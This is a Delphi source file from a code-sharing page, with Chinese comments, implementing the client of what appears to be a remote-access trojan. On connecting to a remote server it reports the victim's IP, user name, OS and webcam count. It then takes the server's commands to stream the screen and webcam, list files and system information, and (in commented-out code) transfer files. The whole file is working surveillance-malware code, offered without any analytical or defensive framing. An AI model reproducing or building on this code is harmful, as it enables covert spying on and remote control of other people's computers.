📄 selecteventclientclass.pas
字号:
unit SelectEventClientClass;
interface
uses
Windows,
Messages,
WinSock2,
WinSock,
CaptureDeskUnit,
CaptureMediaUnit,
FileListAndSysInfoUnit,
//FileTransmitUnit,
PublicFunctionUnit,
vfw,
MxZLib;
const
//对象类名
CapScreen = 2000;
CapVideo = 2001;
CapAudio = 2002;
GetSystemInfo = 2003;
TransmitFiles = 2004;
type
//事件通知选择类
TSelectEventClient = Class
private
//命令接受数据区
RecvDataBuffer :array[0..DATA_BUFSIZE - 1] of Char;
DetectSocketStatusThreadHandle : THandle;
DetectSocketStatusThreadID : DWORD;
ReceiveOrderThreadHandle : THandle;
ReceiveOrderThreadID : DWORD;
//创建soket的时候使用到的变量
RemoteServerIP : string;
RemoteServerPort : Word;
Con : TSockAddrIn;
MainSocket : TSocket;
MainSocketWsaEvent : WSAEVENT;
//其他变量
MainFormHandle : HWND;
//屏传类
myCaptureAndSendScreen : TCaptureAndSendScreen;
//视频捕捉和发送类
myCaptureVideo : TCaptureVideo;
//文件传输类
//myFileTransmit : TFileTransmit;
//文件列表管理类
myFileListAndSysInfo : TFileListAndSysInfo;
public
constructor Create(FormHandle : HWND; const ServerIP : string;
const ServerPort : Word; out IsSucess : Boolean);
destructor Destroy; override;
//连接到server
function ConnectServer : Boolean;
procedure DetectServerStatus;
procedure ReceiveRemoteCMD;
end;
implementation
//-------------------------TSelectEventClient-----------------------
//检测skocet状态,当断线后,从新连接
procedure GlobleDetectSocketStatus(SelectEventClient : TSelectEventClient); stdcall;
begin
SelectEventClient.DetectServerStatus;
end;
//数据处理线程,专门用来进行传输给远程主机
procedure GlobleReceiveRemoteCMD(SelectEventClient : TSelectEventClient); stdcall;
begin
SelectEventClient.ReceiveRemoteCMD;
end;
{----------------------------TSelectEventClient-------------------------------}
constructor TSelectEventClient.Create(FormHandle : HWND;
const ServerIP : string; Const ServerPort : Word; out IsSucess : Boolean);
var
ConvertedIP : string;
WsaData : TWSADATA;
begin
inherited Create;
IsSucess := True;
MainFormHandle := FormHandle;
RemoteServerIP := ServerIP;
RemoteServerPort := ServerPort;
// Initialize Winsock
if WSAStartup(MAKEWORD(2, 2), WsaData) <> NO_ERROR then
begin
WSACleanup;
IsSucess := False;
Exit;
end;
//innitial the ip and Port
con.sin_family := AF_INET;
HostToIP(RemoteServerIP, ConvertedIP);
con.sin_addr.s_addr := inet_addr(PChar(ConvertedIP));
con.sin_port := htons(RemoteServerPort);
// Create a socket.
MainSocket := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (MainSocket = INVALID_SOCKET) then
begin
CloseSocket(MainSocket);
WSACleanup;
IsSucess := False;
Exit;
end;
//创建一个数据收发线程,专门用来进行检测远程主机是否下线
DetectSocketStatusThreadHandle := CreateThread(nil, 0, @GlobleDetectSocketStatus,
Pointer(Self), CREATE_SUSPENDED, DetectSocketStatusThreadID);
//创建一个数据收发线程,专门用来接收远程服务器的命令的
ReceiveOrderThreadHandle := CreateThread(nil, 0, @GlobleReceiveRemoteCMD,
Pointer(Self), CREATE_SUSPENDED, ReceiveOrderThreadID);
IsSucess := ConnectServer;
end;
destructor TSelectEventClient.Destroy;
begin
//再关闭socket,并让命令接收线程退出
ShutDown(MainSocket, SD_BOTH);
CloseSocket(MainSocket);
//首先free各个功能模块类
if myCaptureAndSendScreen <> nil then
FreeAndNil(myCaptureAndSendScreen);
if myCaptureVideo <> nil then
FreeAndNil(myCaptureVideo);
if myFileListAndSysInfo <> nil then
FreeAndNil(myFileListAndSysInfo);
//if myFileTransmit <> nil then
//FreeAndNil(myFileTransmit);
Sleep(200);
//取消绑定
WSAEventSelect(MainSocket, 0, 0);
//释放event对象,并让detect线程退出
WSACloseEvent(MainSocketWsaEvent);
MainSocketWsaEvent := 0;
WSACleanup;
end;
//配置socket并连接到server
function TSelectEventClient.ConnectServer : Boolean;
begin
Result := True;
//清空结构体
ZeroMemory(@RemoteSystemInfo, sizeof(RemoteSystemInfo));
//得到本机IP
GetLocalIP(RemoteSystemInfo.LocalIPaddressString);
//得到当前的主机名
GetUserAndHostName(RemoteSystemInfo.CurrentUserName);
//得到当前的操作系统
ZeroMemory(@RemoteSystemInfo.SystemVersion, sizeof(RemoteSystemInfo.SystemVersion));
RemoteSystemInfo.SystemVersion.dwOSVersionInfoSize := sizeof(RemoteSystemInfo.SystemVersion);
GetVersionEx(RemoteSystemInfo.SystemVersion);
//得到是否安装了摄像头驱动
RemoteSystemInfo.WebCamCount := DetectWebCam;
//头像序号
RemoteSystemInfo.ServerIconIndex := ClientIconIndex;
//上线的软件版本
MoveMemory(@RemoteSystemInfo.ServerVersion[0], @ClientVersion[0], sizeof(ClientVersion));
//标识是根socket,传输屏幕和命令信息的
RemoteSystemInfo.RemoteDataType := MainSocketData;
//上线主机备注
MoveMemory(@RemoteSystemInfo.UseSelfDefine[0], @ServerUseSelfDefine[0], sizeof(ServerUseSelfDefine));
//connect to server
if (Connect(MainSocket, con, SizeOf(con)) = SOCKET_ERROR) then
begin
CloseSocket(MainSocket);
WSACleanup;
Result := False;
Exit;
end;
//发送信息
SendAllTheData(MainSocket, @RemoteSystemInfo, SizeOf(RemoteSystemInfo));
MainSocketWsaEvent := WSACreateEvent;
WSAEventSelect(MainSocket, MainSocketWsaEvent, FD_CLOSE);
//恢复线程
ResumeThread(ReceiveOrderThreadHandle);
ResumeThread(DetectSocketStatusThreadHandle);
CloseHandle(ReceiveOrderThreadHandle);
CloseHandle(DetectSocketStatusThreadHandle);
end;
(*-------------------检测连接的远程主机状态,并收取其发来的命令------------------*)
//数据处理线程,专门用来进行检测远程主机是否下线
procedure TSelectEventClient.DetectServerStatus;
var
myWSANETWORKEVENTS : WSANETWORKEVENTS;
WaitResult : DWord;
const
HeartPackage : WORD = $FFFF;
begin
//连接到sever
while True do
begin //Sever心跳包时间1分钟
WaitResult := WSAWaitForMultipleEvents(1, @MainSocketWsaEvent, False, 2000, False);
//如果超时,则继续下一个循环
if WaitResult >= WSA_WAIT_TIMEOUT then
begin
if WaitResult <> WSA_WAIT_FAILED then
//发送心跳包
SendAllTheData(MainSocket, @HeartPackage, SizeOf(HeartPackage))
else
Break;
Continue;
end;
//查询网络事件类型
ZeroMemory(@myWSANETWORKEVENTS, SizeOf(myWSANETWORKEVENTS));
WSAEnumNetworkEvents(MainSocket, MainSocketWsaEvent, @myWSANETWORKEVENTS);
//远程socket关闭通知
if (myWSANETWORKEVENTS.lNetWorkEvents and FD_CLOSE) > 0 then
begin
//告诉主程序,连接中断了,lparam = 2 表示socket断开,1表示没连接成功, 0表示主动断开连接
SendMessage(MainFormHandle, WsaNotifyMessage, 1, 2);
Break;
end;
end;
end;
(*----------------------------接收来自远程主机的命令----------------------------*)
//接收来自远程主机的命令,并向对应的线程发送命令
procedure TSelectEventClient.ReceiveRemoteCMD;
var
myDataHeaderInfo : TDataHeaderInfo;
//命令描述头
myInterChangeHeader : TInterChangeHeader;
ActuallySentSizePerPakage : LongInt;
//创建类是否成功
IsSucess : Boolean;
begin
while True do
begin
//先接收8个字节,
if RecvAllData(MainSocket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo),
ActuallySentSizePerPakage) = SOCKET_ERROR then
begin
Break;
end;
//再接收命令描述头
if RecvAllData(MainSocket, @myInterChangeHeader, SizeOf(myInterChangeHeader),
ActuallySentSizePerPakage) = SOCKET_ERROR then
begin
Break;
end;
//再接收真正的数据
if RecvAllData(MainSocket, @RecvDataBuffer[0],
myDataHeaderInfo.CompressedDataSize - sizeof(myInterChangeHeader),
ActuallySentSizePerPakage) = SOCKET_ERROR then
begin
Break;
end;
case myInterChangeHeader.OrderObject of
CapScreen:
begin
if myInterChangeHeader.Order = 0 then
begin
myCaptureAndSendScreen := TCaptureAndSendScreen.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
//开始
if not IsSucess then
begin
//如果初始化失败,则free掉
myCaptureAndSendScreen.Free;
myCaptureAndSendScreen := nil;
end;
end
else if myCaptureAndSendScreen <> nil then
begin
myCaptureAndSendScreen.Free;
myCaptureAndSendScreen := nil;
end;
end;
CapVideo:
begin
if myInterChangeHeader.Order = 0 then
begin
myCaptureVideo := TCaptureVideo.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
//开始进行视频截取
if not IsSucess then
begin
//如果初始化视频失败,则free掉
myCaptureVideo.Free;
myCaptureVideo := nil;
end;
end
else if myCaptureVideo <> nil then
FreeAndNil(myCaptureVideo);
end;
CapAudio:
begin
//接受来自远程主机的音频的开关命令
end;
GetSystemInfo:
begin
if myInterChangeHeader.Order = 0 then
begin
myFileListAndSysInfo := TFileListAndSysInfo.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
//开始进行文件列表查询
if not IsSucess then
begin
//如果初始化失败,则free掉
myFileListAndSysInfo.Free;
myFileListAndSysInfo := nil;
end;
end
else if myFileListAndSysInfo <> nil then
FreeAndNil(myFileListAndSysInfo);
end;
TransmitFiles:
begin
{if myInterChangeHeader.Order = 0 then
begin
myFileTransmit := TFileTransmit.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
//开始进行文件传输
if not IsSucess then
begin
//如果初始化文件传输失败,则free掉
myFileTransmit.Free;
myFileTransmit := nil;
Continue;
end;
end
else if myFileTransmit <> nil then
FreeAndNil(myFileTransmit);}
end;
end;//end case
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -